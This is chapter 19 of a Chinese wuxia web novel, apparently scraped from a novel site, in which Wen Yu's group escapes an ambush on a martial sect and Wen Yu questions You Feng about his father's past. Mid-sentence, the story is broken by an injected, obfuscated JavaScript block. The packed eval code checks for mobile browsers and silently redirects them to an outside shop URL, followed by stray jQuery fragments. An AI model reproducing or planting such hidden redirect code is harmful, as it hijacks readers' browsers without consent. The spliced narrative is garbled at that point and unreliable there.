19.化险为夷

作品:《剑首

    应觉慢半拍地眨了下眼,笑意僵在脸上,似乎不太能理解眼前的情况。


    他呆愣在原地,看着祁听白的身躯倒落,像是块巨石轰然坍塌。


    房梁梭来支箭矢,发出清亮的高鸣。


    应觉被邓轩伸手推搡开,他底盘不稳跌坐在地,箭头撞击他方才站在的位置,羽毛犹自震颤。


    闻渝冲过来一把捞起应觉,一手去抓邓轩衣襟,把两人飞速拖出医馆。


    “冷静。”藏匿到拐弯的转角,暂且躲避箭雨。闻渝低呵道,“医馆全是敌手,暗箭难防,别硬闯。”


    应觉愣愣的,没有回答。


    闻渝伏身对另一边旮旯道:“游峰,你看着他们。李钰,带弓箭了吗?”


    李钰道:“闻兄,我哪里来的弓箭,不过闲得没事做了个弹弓,需要吗?”


    闻渝:“……给我。”


    李钰远远地扔过来,刚好掉在闻渝脚边。


    这世子殿下早年间不学无术,但胜在会玩,弹弓用料实在,做工精美。


    闻渝摸了下脚边,揣把碎小的石子,翻身轻巧跃上楼角,单手拽住木梁。


    他的位置易守难攻,但视角略有遮挡,看不见更高处的人影。


    医馆的晒坝尸首横陈,到处是血。有宗门弟子,也有不归属宗门的外来者。


    直接提着兵器的几乎没有活口,唯独留成批弓手。


    闻渝掏出粒石头,双腿箍住木梁稳定身形,倒挂着打探医馆的现状。


    一道黑影飞速纵跃在屋顶上。


    闻渝拉开牛筋,瞄准,掌推内力,石子弹出细微残影飞射而去。那人惨嚎一声,从房顶滚落。


    经他挑拨起势头,数道箭雨纷纷射落,贯穿黑衣人的身体。


    闻渝心惊。


    果然是豺狼成性,对同行人下得了这种狠手。


    他忍不住再看了眼,望见对方手臂时,却呆住目光。


    那具尸体臂膀裸|露,皮肉绘制图案,繁复华丽。闻渝觉得眼熟,一时片刻又想不起在哪里见过。


    连打落两三个换位置的弓手,闻渝忽然听见阵凌乱的步伐靠近。


    他谨慎潜头往下看,不远处黑压压的一片。来人腰挎大刀,颇有将士的气质。脚不停步,在强大的力量支撑下,空中拉出一道沙幕,离得越近,沙幕的面积疯狂拉宽。


    闻渝登时撤开手,从房梁滑下来:“宗门不能再待了,他们有援手,全部出宗。”、


    弓手们仿佛也感应到他们准备逃离,俱跃下屋来,围追堵截。


    众人风驰电掣地朝反方向冲。


    游峰道:“诸位,去西门,往我们住的厢房走。”


    闻渝这次想起厢房附近就是西门,又有树林灌木遮挡,适合遮挡藏身。


    祁听白知道所有内情,明白敌人有多可怖,才会安排西南角位置的厢房。如若遭到夜袭,能够安全撤离北龙骨宗。


    他们狂奔到厢房后的树林中,身后乌泱泱的影子,好似昏暗不可见底的潮水,天心乌鸦群渡。


    闻渝拽着游峰穿梭其间,偶尔提剑格挡四面八方袭来的箭矢。


    头顶一阵分枝踏叶的响动,一柄寒剑直插入地。


    闻渝旋身飞退,神色微凉,抬首看向树端。


    乌云低垂,闷热起风,来者紫衣猎猎翻扬,鹰般掠下,靴尖轻点在剑柄上。


    闻渝看清对方样貌,眉眼微抽:“单仰秋?”


    多年未相见,这人脸上刺条疤痕,从额头划到眼角,险些深入眼中,野性俊美,眉眼锋利。


    单仰秋恍若未闻,视线羽毛轻搔似的瞥过去,定在游峰身上。


    “游……峰?”他大概是不太确定,又或者是刻意嘲讽,说话时停顿了下。


    游峰没想到会在这儿偶遇故人,本转身想避开见面,却还是被注意到,只好默默转回身来,浮夸道:“呀,单大侠,难得见面,真是越来越玉树临风了。”


    单仰秋脚下发力,剑端翻腾出泥泞,回握在他手中。湿泥表层划条细长的缝隙,直逼游峰。


    双剑相撞,闻渝抵住他的攻势,


    “我先杀他,再杀你,”单仰秋一剑收回,持掌劈来,“让开。”


    时间不能够躲避,闻渝折剑对掌,只觉得股恐怖如斯的内力莽撞卷过,震得他整条手臂的经脉阵痛发麻,被迫倒退。


    单仰秋提剑,再度破空刺向游峰。


    这一剑来得又快又准,游峰脚步一拐,堪堪躲开,笑道:“单大侠,太过分了,你是奇侠,怎么能欺负我没武功啊。”


    单仰秋一剑捅空,下一剑瞬息而至,无缝衔接:“受人所托,不论道义。”


    游峰躲得狼狈,幸而这狼狈并没有持续太久,闻渝再次挺剑对攻,护在他面前。


    单仰秋目光在他俩之间转动,锋芒更甚。


    他本身习武天赋异禀,年少成名,潜心习武多年,已有步入臻境的迹象。


    闻渝终究输他一筹,被剑挑开,掌力击胸,凌空飞出去,背脊砸在树干上,一口浓血吐在地上。


    单仰秋面无表情忽视掉他,剑追着游峰而去,行至喉间却被利矢撞偏方向。


    临近西门的树林里人影幢幢,前排手持盾与狼牙棒,后排手持弓箭,披胄穿甲。


    单仰秋淡漠扫眼游峰,见他笑容温和,确定这是朝廷将士。


    行走江湖的人,首先需要区别朝廷与武林。


    武林高手对阵一换一,可朝廷的将士,前赴后继,望不见头。


    单仰秋负手收剑,运转轻功消失在众人视野里。


    这群身披甲胄的人散开,分成两队。里面的将领冲过来,扶起闻渝,对游峰行礼:“多谢游公子。”


    闻渝觉得这人实在有些熟悉,抓住将领肩膀,铁头盔下那张脸转过来,胡须发白,眉尾眼角堆叠皱纹,熟悉又陌生。


    “刘叔,是您?您怎么在这儿?”闻渝惊道。


    他父亲在世的时候,与副官亲兵交好,有时会邀至府上比武射箭,闻渝跟随父亲认识了他们。副官刘岭就是其中之一,常带他骑马,教他射箭舞戟。


    距离上次见面,足足十七年。


    刘岭胡须微微抖动,眼角湿润,却没有叙旧,只是吩咐其余人道:“去救其他人,务必保证世子殿下的安全。”他转过身,“少爷,快离开这里,我们护送您。”


    闻渝眼眶发红:“您是不是没有调令?谁让来的,这叫擅离职守,是会被杀头的罪过!不行,你们都回去,这里我们能应付!”


    刘岭指腹揩了下眼角,擦干那片湿润:“是大柱国将军相助。少爷,走吧,我送您。”


    背后有大柱国撑腰,容易落人口实,但就目前而言,是最好的结果。然一旦被人发现举报,仍旧是杀头之过。


    闻渝努力平


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14418986|152729||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    稳好情绪,等李钰等人脸尤现震惊地钻出树林,一同出了北龙骨宗。


    应觉与邓轩不愿离开宗门,被好言相劝,又言事关郝玉国皇室,朝廷会出面解决,这才上了马。


    行过半个时辰,小道上马蹄踢踢踏踏的,荡过山崖,重新旋转回来。


    闻渝道:“刘叔,您同我说实话,从哪里得知的消息?”


    刘岭信马由缰,甲衣铁片撞击,叮叮当当地响。


    他沉默半晌,道:“少爷身边有位贵人,时刻护您周全,可其余的,还请少爷别再多问。”


    闻渝回忆起李钰茫然的神情,不似作伪。


    不是他,是游峰。


    闻渝转过话题:“刘叔,郝玉国皇室要鬼王鼎做什么?”


    刘岭略一沉吟道:“我也不太清楚,但听说过。十多年前,两国关系紧张,郝玉国多次在边疆试探,虽不是成规模的,但能看出有开战的苗头。多数江湖人士与将军关系交好,那段时间常常相聚。我有次路过,听到‘鬼王鼎’三个字。这东西名字古怪邪门。我问过将军,他只道让我别担心。再后来,就没有接触过了。”


    “两国关系紧张,我为何没听说过?”闻渝拧眉,他只记得父亲以往回来会陪他玩耍,后来却不见人影,再隔一年,府上就变了天。


    直觉告诉他,闻府覆灭,和此事有关系。


    闻渝道:“刘叔,江湖参与的都是谁?”


    刘岭:“我见到的很少。龙骨宗前宗主慕独双,寒酥阁前阁主柳雨,似乎有个和尚,是哪儿的我不太清楚。还有两个,天渊派前派主钟有道,其座下大弟子游峰。”


    仿佛被针扎了下,闻渝宽袖下的手轻颤。


    “师父,游峰?”他喃喃自语,拽紧掌心中的缰绳。


    他略转过头,游峰在很远的地方,骑着马,长发垂在腰间,发梢微微摇晃。


    将闻渝等人送到城外,刘岭带领属下返向军营。


    一别两宽,不知何日再见。


    寻到城中客栈,大家情绪都格外低落,尤其是应觉。


    二师兄身死,宗主被杀,宗门遭灾,大师兄昏迷不醒,自幼为家的地方如今成了乱葬岗。他耷拉着脑袋吃饭,但没再像上次那样嚎啕大哭。


    闻渝突然道:“明日去闻府。”


    李钰:“啊?去你家干嘛?”


    闻渝:“侵扰北龙骨宗的那群人手臂有图案,我以前在闻府见过。”


    李钰拍腿道:“那好。幸亏当年我爹受赏,求得你府上那块地,现在都好生保存着,图案应该还在。”


    闻渝没有答话,只道吃好饭,搁放碗筷上楼。走到一半,他停身站住脚,似乎是纠结了片刻,对游峰道:“吃完来我房内,我有事问你。”


    游峰吞下嘴里的菜,给围桌的各位道过别,跟随闻渝进了房间。


    李钰见两人背影消失,捅了捅段天佑:“你有没有觉得他俩有点怪?”


    段天佑正专心致志刨饭,闻言抬起头问:“啊?”


    李钰啧啧道:“算了,鸡同鸭讲。”


    屋内掌了烛灯,在昏暗中拉扯搓揉。


    闻渝盯着那星火光。


    背后传来关门的轻轻咔哒声。


    “游峰,”闻渝侧过眸,神情变化莫测,双眼似乎搅着漫天黑雨,“十多年前,郝玉国与南燕国,你们与我爹之间,到底隐瞒了我多少事?”